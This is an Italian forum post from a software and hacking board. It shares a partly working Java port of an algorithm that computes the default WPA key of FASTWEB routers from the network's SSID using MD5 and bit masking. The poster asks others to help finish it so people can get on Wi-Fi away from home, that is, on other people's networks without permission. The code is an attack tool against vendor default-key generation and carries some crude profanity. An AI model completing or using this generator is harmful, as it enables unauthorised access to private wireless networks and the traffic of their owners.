[Bada Software and Hacking General] DevilM:
WPA calculator Java port

Salve ho trovato girando per il web k si sta tentando la creazione di un'app in java che permetta di scovare la password di reti tramite wifi! Allego sotto i vari processi.. se a qualcuno interessa e mastica con i java si faccia avanti! GRAZIE!!

/**

* Attemts to write the WPA key generation algorithm in Java

* following the PHP code from evilsocket

*

* To debug this hexadecimal ****, you can use hexdump or, for

* binary mask use bc

*

* $ bc

* bc 1.06.95

* Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.

* This is free software with ABSOLUTELY NO WARRANTY.

* For details type `warranty'.

* ibase=16

* obase=2

* 32

* 110010

*/

import java.io.StringWriter;

import java.io.ByteArrayOutputStream;

import java.security.MessageDigest;

import java.security.NoSuchAlgorithmException;

public class wpa {

static boolean debug = true;

static byte[] seq_20 = {

0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x22, 0x33, 0x11, 0x34, 0x02,(byte)0x81,

(byte)0xFA,0x22,0x11,0x41,0x68,0x11,0x12,

0x01,0x05,0x22,0x71,0x42,0x10,0x66

};

/**

* Returns a byte with size 1s from start (0-index).

*

* For example

* getMask(0, 8) return 0xff

* getMask(0, 1) return 0x01

* getMask(1, 1) return 0x02

* getMask(2, 1) return 0x04

* getMask(0, 5) return 0x20

*/

static private byte getMask(int start, int size) throws Exception {

byte mask = 0;

if ((start + size) > 8)

throw new Exception("Your mask is ****ing too big");

for (int cycle = start ; cycle < (start + size) ; cycle++)

mask |= 1 << cycle;

return mask;

}

static private byte[] MD5(byte[] msg, int size) throws NoSuchAlgorithmException {

MessageDigest digester = MessageDigest.getInstance("MD5");

digester.update(msg, 0, size);

return digester.digest();

}

public static void main(String[] args) {

String ssid = "FASTWEB-1-00036FD2B04C";

Integer test = new Integer(5);

String[] sn = ssid.split("-");

ssid = sn[2];

//System.out.println("" + ssid);

byte six[] = seq_20;

int cycle;

for (cycle = 0 ; cycle < 6 ; cycle++) {

six[cycle] = (byte)Integer.parseInt(

ssid.substring(2*cycle, 2*cycle + 2), 16);

if (debug)

System.out.write(six[cycle]);

}

byte[] md5 = null;

try {

if (debug)

System.out.write(six);

md5 = MD5(six, 26);

if (debug)

System.out.write(md5);

} catch(Exception e) {

System.out.println("PORCODIOOOO: " + e);

System.exit(1);

}

// calcolo i 5 byte formati da 5 bits a mano

byte[] five = new byte[5];

try {/**

* Quando i 5 bits provengono da due byte contigui

* succede che devi abbassare rispetto allo start

* del primo ed alzare il secondo della size del primo.

*

* FIXME:

* ((getMask(l, m) & md[a]) >> l) |

* (getMask((l + m) % 8, 5 - m) & md[a + 1] << m)

*

* java - Behaviour of unsigned right shift applied to byte variable - Stack Overflow

*/

// il primo byte è formato dagli ultimi 5 bits

// del primo byte

five[0] = (byte)((getMask(3, 5) & md5[0]) >>> 3);

// i primi 3 del primo e gli ultimi 2 del secondo

five[1] = (byte)(((getMask(0, 3) & md5[0]) << 2)

| ( ((getMask(6, 2) & md5[1]) & 0xff) >>> 6));

// i seguenti 5 bits del secondo (fino al primo)

five[2] = (byte)((getMask(1, 5) & md5[1]) >>> 1);

// il primo del secondo e gli ultimi 4 del terzo

five[3] = (byte)(((getMask(0, 1) & md5[1]) << 4)

| (((getMask(4, 4) & md5[2]) & 0xff) >>> 4));

// infine i primi 4 del terzo

// più l'ultimo del quarto

five[4] = (byte) (((getMask(0, 4) & md5[2]) << 1)

| (( (getMask(7, 1) & md5[3]) & 0xff) >>> 7));

} catch(Exception e) {

e.printStackTrace();

}

for (cycle = 0 ; cycle < 5 ; cycle++) {

five[cycle] =(byte)(

five[cycle] > (byte)0x0a ? five[cycle] + (byte)0x57 : five[cycle]);

}

if (debug) {

System.out.write(five[0]);

System.out.write(five[1]);

System.out.write(five[2]);

System.out.write(five[3]);

System.out.write(five[4]);

System.out.write(0x00);

System.out.write(md5[0]);

System.out.write((md5[1] & 0xff)>>> 6);

System.out.write(md5[2]);

System.out.flush();

}

String WPA = "";

for (cycle = 0 ; cycle < 5 ; cycle++) {

WPA += String.format("%02x", five[cycle]);

}

System.out.println(WPA);

}

}

Speriamo di riuscire in tutti a finire questa app perchè è sempre utile quando si è fuori casa e si deve controllare qualcosa sul web!!